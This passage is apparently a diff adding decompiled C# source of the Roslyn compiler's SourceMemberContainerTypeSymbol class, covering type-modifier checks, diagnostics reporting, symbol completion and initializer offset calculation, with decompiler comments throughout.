TypeKind => _flags.TypeKind; + + internal MergedTypeDeclaration MergedDeclaration => declaration; + + internal sealed override bool IsInterface => (int)TypeKind == 7; + + public override bool IsStatic => HasFlag(DeclarationModifiers.Static); + + public sealed override bool IsRefLikeType => HasFlag(DeclarationModifiers.Ref); + + public override bool IsReadOnly => HasFlag(DeclarationModifiers.ReadOnly); + + public override bool IsSealed => HasFlag(DeclarationModifiers.Sealed); + + public override bool IsAbstract => HasFlag(DeclarationModifiers.Abstract); + + internal bool IsPartial => HasFlag(DeclarationModifiers.Partial); + + internal bool IsNew => HasFlag(DeclarationModifiers.New); + + internal sealed override bool IsFileLocal => HasFlag(DeclarationModifiers.File); + + internal bool IsUnsafe => HasFlag(DeclarationModifiers.Unsafe); + + private SyntaxTree? AssociatedSyntaxTree + { + get + { + if (!IsFileLocal) + { + return null; + } + return ((Location)declaration.Declarations[0].Location).SourceTree; + } + } + + internal sealed override FileIdentifier? AssociatedFileIdentifier + { + get + { + SyntaxTree associatedSyntaxTree = AssociatedSyntaxTree; + if (associatedSyntaxTree == null) + { + return null; + } + return FileIdentifier.Create(associatedSyntaxTree); + } + } + + public override Accessibility DeclaredAccessibility => ModifierUtils.EffectiveAccessibility(_declModifiers); + + public override bool IsScriptClass + { + get + { + DeclarationKind kind = declaration.Declarations[0].Kind; + if (kind != DeclarationKind.Script) + { + return kind == DeclarationKind.Submission; + } + return true; + } + } + + public override bool IsImplicitClass => declaration.Declarations[0].Kind == DeclarationKind.ImplicitClass; + + internal override bool IsRecord => declaration.Declarations[0].Kind == DeclarationKind.Record; + + internal override bool IsRecordStruct => declaration.Declarations[0].Kind == DeclarationKind.RecordStruct; + + public override bool IsImplicitlyDeclared + { + get + { + if (!IsImplicitClass) + { + return IsScriptClass; + } + return true; + } + } + + public override int Arity => declaration.Arity; + + public override string Name => declaration.Name; + + internal override bool MangleName => Arity > 0; + + public sealed override ImmutableArray Locations => ImmutableArray.CastUp(declaration.NameLocations.ToImmutable()); + + public ImmutableArray SyntaxReferences => declaration.SyntaxReferences; + + public override ImmutableArray DeclaringSyntaxReferences => SyntaxReferences; + + internal ImmutableArray> StaticInitializers => GetMembersAndInitializers().StaticInitializers; + + internal ImmutableArray> InstanceInitializers => GetMembersAndInitializers().InstanceInitializers; + + public override IEnumerable MemberNames + { + get + { + if (!IsTupleType && !IsRecord && !IsRecordStruct) + { + return declaration.MemberNames; + } + return from m in GetMembers() + select m.Name; + } + } + + internal override bool HasDeclaredRequiredMembers + { + get + { + if (_flags.TryGetHasDeclaredRequiredMembers(out var value)) + { + return value; + } + value = declaration.Declarations.Any((SingleTypeDeclaration decl) => decl.HasRequiredMembers); + _flags.SetHasDeclaredRequiredMembers(value); + return value; + } + } + + internal override bool KnownCircularStruct + { + get + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected I4, but got Unknown + if (_lazyKnownCircularStruct == 0) + { + if ((int)TypeKind != 10) + { + Interlocked.CompareExchange(ref _lazyKnownCircularStruct, 1, 0); + } + else + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + int value = (int)ThreeStateHelpers.ToThreeState(CheckStructCircularity(instance)); + if (Interlocked.CompareExchange(ref _lazyKnownCircularStruct, value, 0) == 0) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + return _lazyKnownCircularStruct == 2; + } + } + + internal bool HasPrimaryConstructor => _flags.HasPrimaryConstructor; + + internal SynthesizedPrimaryConstructor? PrimaryConstructor + { + get + { + if (!HasPrimaryConstructor) + { + return null; + } + DeclaredMembersAndInitializers declaredMembersAndInitializers = Volatile.Read(in _lazyDeclaredMembersAndInitializers); + if (declaredMembersAndInitializers != null && declaredMembersAndInitializers != DeclaredMembersAndInitializers.UninitializedSentinel) + { + return declaredMembersAndInitializers.PrimaryConstructor; + } + return GetMembersAndInitializers().PrimaryConstructor; + } + } + + internal bool ContainsExtensionMethods + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_lazyContainsExtensionMethods)) + { + bool flag = ((IsStatic && !base.IsGenericType) || IsScriptClass) && declaration.ContainsExtensionMethods; + _lazyContainsExtensionMethods = ThreeStateHelpers.ToThreeState(flag); + } + return ThreeStateHelpers.Value(_lazyContainsExtensionMethods); + } + } + + internal bool AnyMemberHasAttributes + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_lazyAnyMemberHasAttributes)) + { + bool anyMemberHasAttributes = declaration.AnyMemberHasAttributes; + _lazyAnyMemberHasAttributes = ThreeStateHelpers.ToThreeState(anyMemberHasAttributes); + } + return ThreeStateHelpers.Value(_lazyAnyMemberHasAttributes); + } + } + + public override bool MightContainExtensionMethods => ContainsExtensionMethods; + + public sealed override NamedTypeSymbol ConstructedFrom => this; + + internal SourceMemberContainerTypeSymbol(NamespaceOrTypeSymbol containingSymbol, MergedTypeDeclaration declaration, BindingDiagnosticBag diagnostics, TupleExtraData? tupleData = null) + : base(tupleData) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + _containingSymbol = containingSymbol; + this.declaration = declaration; + TypeKind typeKind = declaration.Kind.ToTypeKind(); + DeclarationModifiers declarationModifiers = MakeModifiers(typeKind, diagnostics); + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + ((BindingDiagnosticBag)diagnostics).AddRange(current.Diagnostics); + } + int num = (int)(declarationModifiers & DeclarationModifiers.AccessibilityMask); + if ((num & (num - 1)) != 0) + { + if ((declarationModifiers & DeclarationModifiers.Partial) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_PartialModifierConflict, GetFirstLocation(), this); + } + num &= ~(num - 1); + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFFFC0Fu); + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers | (uint)num); + } + _declModifiers = declarationModifiers; + _flags = new Flags((SpecialType)((num == 16) ? ((int)MakeSpecialType()) : 0), typeKind, declaration.HasPrimaryConstructor); + NamedTypeSymbol? containingType = ContainingType; + if ((object)containingType != null && containingType.IsSealed && DeclaredAccessibility.HasProtected()) + { + diagnostics.Add(AccessCheck.GetProtectedMemberInSealedTypeError(ContainingType), GetFirstLocation(), this); + } + state.NotePartComplete(CompletionPart.TypeArguments); + } + + private SpecialType MakeSpecialType() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if ((int)ContainingSymbol.Kind != 12 || !ContainingSymbol.ContainingAssembly.KeepLookingForDeclaredSpecialTypes) + { + return (SpecialType)0; + } + return SpecialTypes.GetTypeFromMetadataName(MetadataHelpers.BuildQualifiedName(ContainingSymbol.ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), MetadataName)); + } + + private DeclarationModifiers MakeModifiers(TypeKind typeKind, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Expected I4, but got Unknown + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Invalid comparison between Unknown and I4 + Symbol containingSymbol = ContainingSymbol; + DeclarationModifiers declarationModifiers = DeclarationModifiers.AccessibilityMask | DeclarationModifiers.File; + DeclarationModifiers defaultAccess; + if ((int)containingSymbol.Kind == 12) + { + defaultAccess = DeclarationModifiers.Internal; + } + else + { + declarationModifiers |= DeclarationModifiers.New; + defaultAccess = ((!((NamedTypeSymbol)containingSymbol).IsInterface) ? DeclarationModifiers.Private : DeclarationModifiers.Public); + } + if ((int)typeKind <= 3) + { + if ((int)typeKind == 2) + { + goto IL_0054; + } + if ((int)typeKind == 3) + { + declarationModifiers |= DeclarationModifiers.Unsafe; + } + } + else if ((int)typeKind != 7) + { + if ((int)typeKind != 10) + { + if ((int)typeKind == 12) + { + goto IL_0054; + } + } + else + { + declarationModifiers |= DeclarationModifiers.ReadOnly | DeclarationModifiers.Partial | DeclarationModifiers.Unsafe; + if (!IsRecordStruct) + { + declarationModifiers |= DeclarationModifiers.Ref; + } + } + } + else + { + declarationModifiers |= DeclarationModifiers.Partial | DeclarationModifiers.Unsafe; + } + goto IL_0096; + IL_0096: + bool modifierErrors; + DeclarationModifiers declarationModifiers2 = MakeAndCheckTypeModifiers(defaultAccess, declarationModifiers, diagnostics, out modifierErrors); + this.CheckUnsafeModifier(declarationModifiers2, diagnostics); + if (!modifierErrors && (declarationModifiers2 & DeclarationModifiers.Abstract) != DeclarationModifiers.None && (declarationModifiers2 & (DeclarationModifiers.Sealed | DeclarationModifiers.Static)) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_AbstractSealedStatic, GetFirstLocation(), this); + } + if (!modifierErrors && (declarationModifiers2 & (DeclarationModifiers.Sealed | DeclarationModifiers.Static)) == (DeclarationModifiers.Sealed | DeclarationModifiers.Static)) + { + diagnostics.Add(ErrorCode.ERR_SealedStaticClass, GetFirstLocation(), this); + } + switch (typeKind - 3) + { + default: + if ((int)typeKind != 10) + { + break; + } + goto case 2; + case 4: + declarationModifiers2 |= DeclarationModifiers.Abstract; + break; + case 2: + declarationModifiers2 |= DeclarationModifiers.Sealed; + break; + case 0: + declarationModifiers2 |= DeclarationModifiers.Sealed; + break; + case 1: + case 3: + break; + } + return declarationModifiers2; + IL_0054: + declarationModifiers |= DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Partial | DeclarationModifiers.Unsafe; + if (!IsRecord) + { + declarationModifiers |= DeclarationModifiers.Static; + } + goto IL_0096; + } + + private DeclarationModifiers MakeAndCheckTypeModifiers(DeclarationModifiers defaultAccess, DeclarationModifiers allowedModifiers, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Invalid comparison between Unknown and I4 + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Invalid comparison between Unknown and I4 + modifierErrors = false; + DeclarationModifiers declarationModifiers = DeclarationModifiers.Unset; + int length = declaration.Declarations.Length; + bool flag = false; + for (int i = 0; i < length; i++) + { + DeclarationModifiers declarationModifiers2 = declaration.Declarations[i].Modifiers; + if (length > 1 && (declarationModifiers2 & DeclarationModifiers.Partial) == 0) + { + flag = true; + } + if (!modifierErrors) + { + declarationModifiers2 = ModifierUtils.CheckModifiers(isForTypeDeclaration: true, isForInterfaceMember: false, declarationModifiers2, allowedModifiers, (Location)(object)declaration.Declarations[i].NameLocation, diagnostics, null, out modifierErrors); + if (!modifierErrors) + { + modifierErrors = ModifierUtils.CheckAccessibility(declarationModifiers2, this, isExplicitInterfaceImplementation: false, diagnostics, GetFirstLocation()); + } + } + declarationModifiers = ((declarationModifiers != DeclarationModifiers.Unset) ? (declarationModifiers | declarationModifiers2) : declarationModifiers2); + } + if ((declarationModifiers & DeclarationModifiers.AccessibilityMask) == 0) + { + declarationModifiers |= defaultAccess; + } + else if ((declarationModifiers & DeclarationModifiers.File) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_FileTypeNoExplicitAccessibility, GetFirstLocation(), this); + } + if (flag) + { + if ((declarationModifiers & DeclarationModifiers.Partial) == 0) + { + SymbolKind kind = ContainingSymbol.Kind; + if ((int)kind != 11) + { + if ((int)kind == 12) + { + for (int j = 1; j < length; j++) + { + diagnostics.Add(((declarationModifiers & DeclarationModifiers.File) != DeclarationModifiers.None) ? ErrorCode.ERR_FileLocalDuplicateNameInNS : ErrorCode.ERR_DuplicateNameInNS, (Location)(object)declaration.Declarations[j].NameLocation, Name, ContainingSymbol); + modifierErrors = true; + } + } + } + else + { + for (int k = 1; k < length; k++) + { + if (ContainingType.Locations.Length == 1 || ContainingType.IsPartial()) + { + diagnostics.Add(ErrorCode.ERR_DuplicateNameInClass, (Location)(object)declaration.Declarations[k].NameLocation, ContainingSymbol, Name); + } + modifierErrors = true; + } + } + } + else + { + for (int l = 0; l < length; l++) + { + SingleTypeDeclaration singleTypeDeclaration = declaration.Declarations[l]; + if ((singleTypeDeclaration.Modifiers & DeclarationModifiers.Partial) == 0) + { + diagnostics.Add(ErrorCode.ERR_MissingPartial, (Location)(object)singleTypeDeclaration.NameLocation, Name); + modifierErrors = true; + } + } + } + } + return declarationModifiers; + } + + internal static bool IsReservedTypeName(string? name) + { + if (name != null && name.Length > 0) + { + return StringExtensions.All(name, (Predicate)((char c) => c >= 'a' && c <= 'z')); + } + return false; + } + + internal static void ReportReservedTypeName(string? name, CSharpCompilation compilation, DiagnosticBag? diagnostics, Location location) + { + if (diagnostics != null && !reportIfContextual(SyntaxKind.RecordKeyword, MessageID.IDS_FeatureRecords, ErrorCode.WRN_RecordNamedDisallowed) && !reportIfContextual(SyntaxKind.RequiredKeyword, MessageID.IDS_FeatureRequiredMembers, ErrorCode.ERR_RequiredNameDisallowed) && !reportIfContextual(SyntaxKind.FileKeyword, MessageID.IDS_FeatureFileTypes, ErrorCode.ERR_FileTypeNameDisallowed) && !reportIfContextual(SyntaxKind.ScopedKeyword, MessageID.IDS_FeatureRefFields, ErrorCode.ERR_ScopedTypeNameDisallowed) && IsReservedTypeName(name)) + { + diagnostics.Add(ErrorCode.WRN_LowerCaseTypeName, location, name); + } + bool reportIfContextual(SyntaxKind contextualKind, MessageID featureId, ErrorCode error) + { + if (name == SyntaxFacts.GetText(contextualKind) && compilation.LanguageVersion >= featureId.RequiredVersion()) + { + diagnostics.Add(error, location); + return true; + } + return false; + } + } + + internal sealed override bool HasComplete(CompletionPart part) + { + return state.HasComplete(part); + } + + protected abstract void CheckBase(BindingDiagnosticBag diagnostics); + + protected abstract void CheckInterfaces(BindingDiagnosticBag diagnostics); + + internal override void ForceComplete(SourceLocation? locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + GetAttributes(); + break; + case CompletionPart.StartBaseType: + case CompletionPart.FinishBaseType: + if (state.NotePartComplete(CompletionPart.StartBaseType)) + { + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(); + CheckBase(instance2); + AddDeclarationDiagnostics(instance2); + state.NotePartComplete(CompletionPart.FinishBaseType); + ((BindingDiagnosticBag)(object)instance2).Free(); + } + break; + case CompletionPart.StartInterfaces: + case CompletionPart.FinishInterfaces: + if (state.NotePartComplete(CompletionPart.StartInterfaces)) + { + BindingDiagnosticBag instance4 = BindingDiagnosticBag.GetInstance(); + CheckInterfaces(instance4); + AddDeclarationDiagnostics(instance4); + state.NotePartComplete(CompletionPart.FinishInterfaces); + ((BindingDiagnosticBag)(object)instance4).Free(); + } + break; + case CompletionPart.EnumUnderlyingType: + _ = EnumUnderlyingType; + break; + case CompletionPart.TypeArguments: + _ = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + break; + case CompletionPart.TypeParameters: + { + ImmutableArray.Enumerator enumerator2 = TypeParameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + enumerator2.Current.ForceComplete(locationOpt, cancellationToken); + } + state.NotePartComplete(CompletionPart.TypeParameters); + break; + } + case CompletionPart.Members: + GetMembersByName(); + break; + case CompletionPart.TypeMembers: + GetTypeMembersUnordered(); + break; + case CompletionPart.SynthesizedExplicitImplementations: + GetSynthesizedExplicitImplementations(cancellationToken); + break; + case CompletionPart.StartMemberChecks: + case CompletionPart.FinishMemberChecks: + if (state.NotePartComplete(CompletionPart.StartMemberChecks)) + { + BindingDiagnosticBag instance3 = BindingDiagnosticBag.GetInstance(); + AfterMembersChecks(instance3); + AddDeclarationDiagnostics(instance3); + DeclaringCompilation.SymbolDeclaredEvent(this); + state.NotePartComplete(CompletionPart.FinishMemberChecks); + ((BindingDiagnosticBag)(object)instance3).Free(); + } + break; + case CompletionPart.MembersCompletedChecksStarted: + case CompletionPart.MembersCompleted: + { + ImmutableArray membersUnordered = GetMembersUnordered(); + bool flag = true; + if ((Location)(object)locationOpt == (Location)null) + { + ImmutableArray.Enumerator enumerator = membersUnordered.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + current.ForceComplete(locationOpt, cancellationToken); + } + } + else + { + ImmutableArray.Enumerator enumerator = membersUnordered.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + Symbol.ForceCompleteMemberByLocation(locationOpt, current2, cancellationToken); + flag = flag && current2.HasComplete(CompletionPart.All); + } + } + if (!flag) + { + CompletionPart part = CompletionPart.NamedTypeSymbolWithLocationAll; + state.SpinWaitComplete(part, cancellationToken); + return; + } + EnsureFieldDefinitionsNoted(); + cancellationToken.ThrowIfCancellationRequested(); + if (state.NotePartComplete(CompletionPart.MembersCompletedChecksStarted)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + AfterMembersCompletedChecks(instance); + AddDeclarationDiagnostics(instance); + state.NotePartComplete(CompletionPart.MembersCompleted); + ((BindingDiagnosticBag)(object)instance).Free(); + } + break; + } + case CompletionPart.None: + return; + default: + state.NotePartComplete(CompletionPart.ReturnTypeAttributes | CompletionPart.Parameters | CompletionPart.Type); + break; + } + state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + internal void EnsureFieldDefinitionsNoted() + { + if (!_flags.FieldDefinitionsNoted) + { + NoteFieldDefinitions(); + } + } + + private void NoteFieldDefinitions() + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Invalid comparison between Unknown and I4 + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Invalid comparison between Unknown and I4 + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Invalid comparison between Unknown and I4 + MembersAndInitializers membersAndInitializers = GetMembersAndInitializers(); + lock (membersAndInitializers) + { + if (_flags.FieldDefinitionsNoted) + { + return; + } + SourceAssemblySymbol sourceAssemblySymbol = (SourceAssemblySymbol)ContainingAssembly; + Accessibility val = EffectiveAccessibility(); + ImmutableArray.Enumerator enumerator = membersAndInitializers.NonTypeMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsFieldOrFieldLikeEvent(out var field) && !field.IsConst && !field.IsFixedSizeBuffer) + { + Accessibility declaredAccessibility = field.DeclaredAccessibility; + if ((int)declaredAccessibility == 1) + { + sourceAssemblySymbol.NoteFieldDefinition(field, isInternal: false, isUnread: true); + } + else if ((int)val == 1) + { + sourceAssemblySymbol.NoteFieldDefinition(field, isInternal: false, isUnread: false); + } + else if ((int)declaredAccessibility == 4 || (int)val == 4) + { + sourceAssemblySymbol.NoteFieldDefinition(field, isInternal: true, isUnread: false); + } + } + } + _flags.SetFieldDefinitionsNoted(); + } + } + + internal override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + ManagedKind managedKind = _flags.ManagedKind; + if ((int)managedKind == 0) + { + CompoundUseSiteInfo useSiteInfo2 = default(CompoundUseSiteInfo); + useSiteInfo2._002Ector(ContainingAssembly); + managedKind = base.GetManagedKind(ref useSiteInfo2); + ImmutableInterlocked.InterlockedInitialize(ref _managedKindUseSiteDiagnostics, useSiteInfo2.Diagnostics?.ToImmutableArray() ?? ImmutableArray.Empty); + ImmutableInterlocked.InterlockedInitialize(ref _managedKindUseSiteDependencies, useSiteInfo2.Dependencies?.ToImmutableArray() ?? ImmutableArray.Empty); + _flags.SetManagedKind(managedKind); + } + if (useSiteInfo.AccumulatesDiagnostics) + { + ImmutableArray managedKindUseSiteDiagnostics = _managedKindUseSiteDiagnostics; + managedKindUseSiteDiagnostics = ImmutableInterlocked.InterlockedCompareExchange(ref _managedKindUseSiteDiagnostics, managedKindUseSiteDiagnostics, managedKindUseSiteDiagnostics); + useSiteInfo.AddDiagnostics(managedKindUseSiteDiagnostics); + } + if (useSiteInfo.AccumulatesDependencies) + { + ImmutableArray managedKindUseSiteDependencies = _managedKindUseSiteDependencies; + managedKindUseSiteDependencies = ImmutableInterlocked.InterlockedCompareExchange(ref _managedKindUseSiteDependencies, managedKindUseSiteDependencies, managedKindUseSiteDependencies); + useSiteInfo.AddDependencies(managedKindUseSiteDependencies); + } + return managedKind; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private bool HasFlag(DeclarationModifiers flag) + { + return (_declModifiers & flag) != 0; + } + + private Accessibility EffectiveAccessibility() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + Accessibility val = DeclaredAccessibility; + if ((int)val == 1) + { + return (Accessibility)1; + } + Symbol containingType = ContainingType; + while ((object)containingType != null) + { + Accessibility declaredAccessibility = containingType.DeclaredAccessibility; + if ((int)declaredAccessibility != 1) + { + if ((int)declaredAccessibility == 4) + { + val = (Accessibility)4; + } + containingType = containingType.ContainingType; + continue; + } + return (Accessibility)1; + } + return val; + } + + internal override LexicalSortKey GetLexicalSortKey() + { + if (!_lazyLexicalSortKey.IsInitialized) + { + _lazyLexicalSortKey.SetFrom(declaration.GetLexicalSortKey(DeclaringCompilation)); + } + return _lazyLexicalSortKey; + } + + public override Location TryGetFirstLocation() + { + return (Location)(object)declaration.Declarations[0].NameLocation; + } + + public override bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray declarations = declaration.Declarations; + if (IsImplicitlyDeclared && declarations.IsEmpty) + { + return ContainingSymbol.IsDefinedInSourceTree(tree, definedWithinSpan, cancellationToken); + } + ImmutableArray.Enumerator enumerator = declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + SyntaxReference syntaxReference = current.SyntaxReference; + if (syntaxReference.SyntaxTree != tree) + { + continue; + } + if (definedWithinSpan.HasValue) + { + TextSpan span = syntaxReference.Span; + if (!((TextSpan)(ref span)).IntersectsWith(definedWithinSpan.Value)) + { + continue; + } + } + return true; + } + return false; + } + + internal int CalculateSyntaxOffsetInSynthesizedConstructor(int position, SyntaxTree tree, bool isStatic) + { + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + TextSpan val; + if (IsScriptClass && !isStatic) + { + int num = 0; + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference syntaxReference = enumerator.Current.SyntaxReference; + if (tree == syntaxReference.SyntaxTree) + { + return num + position; + } + int num2 = num; + val = syntaxReference.Span; + num = num2 + ((TextSpan)(ref val)).Length; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceMemberContainerSymbol.cs", 1101); + } + if (TryCalculateSyntaxOffsetOfPositionInInitializer(position, tree, isStatic, 0, out var syntaxOffset)) + { + return syntaxOffset; + } + if (declaration.Declarations.Length >= 1) + { + val = ((Location)declaration.Declarations[0].Location).SourceSpan; + if (position == ((TextSpan)(ref val)).Start) + { + return 0; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceMemberContainerSymbol.cs", 1121); + } + + internal bool TryCalculateSyntaxOffsetOfPositionInInitializer(int position, SyntaxTree tree, bool isStatic, int ctorInitializerLength, out int syntaxOffset) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + MembersAndInitializers membersAndInitializers = GetMembersAndInitializers(); + ImmutableArray> initializers = (isStatic ? membersAndInitializers.StaticInitializers : membersAndInitializers.InstanceInitializers); + if (!findInitializer(initializers, position, tree, out var found, out var precedingLength)) + { + syntaxOffset = 0; + return false; + } + int num = getInitializersLength(initializers); + TextSpan span = found.Syntax.Span; + int num2 = position - ((TextSpan)(ref span)).Start; + int num3 = num + ctorInitializerLength - (precedingLength + num2); + syntaxOffset = -num3; + return true; + static bool findInitializer(ImmutableArray> immutableArray, int num4, SyntaxTree val, out FieldOrPropertyInitializer reference2, out int reference) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + reference = 0; + ImmutableArray>.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray current = enumerator.Current; + if (!current.IsEmpty && current[0].Syntax.SyntaxTree == val) + { + TextSpan span2 = current.Last().Syntax.Span; + if (num4 < ((TextSpan)(ref span2)).End) + { + int num5 = IndexOfInitializerContainingPosition(current, num4); + if (num5 < 0) + { + break; + } + reference += getPrecedingInitializersLength(current, num5); + reference2 = current[num5]; + return true; + } + } + reference += getGroupLength(current); + } + reference2 = default(FieldOrPropertyInitializer); + return false; + } + static int getGroupLength(ImmutableArray immutableArray) + { + int num4 = 0; + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + FieldOrPropertyInitializer current = enumerator.Current; + num4 += getInitializerLength(current); + } + return num4; + } + static int getInitializerLength(FieldOrPropertyInitializer initializer) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (initializer.FieldOpt == null || !initializer.FieldOpt.IsMetadataConstant) + { + TextSpan span2 = initializer.Syntax.Span; + return ((TextSpan)(ref span2)).Length; + } + return 0; + } + static int getInitializersLength(ImmutableArray> immutableArray) + { + int num4 = 0; + ImmutableArray>.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray current = enumerator.Current; + num4 += getGroupLength(current); + } + return num4; + } + static int getPrecedingInitializersLength(ImmutableArray immutableArray, int index) + { + int num4 = 0; + for (int i = 0; i < index; i++) + { + num4 += getInitializerLength(immutableArray[i]); + } + return num4; + } + } + + private static int IndexOfInitializerContainingPosition(ImmutableArray initializers, int position) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + int num = ImmutableArrayExtensions.BinarySearch(initializers, position, (Func)delegate(FieldOrPropertyInitializer initializer, int pos) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) 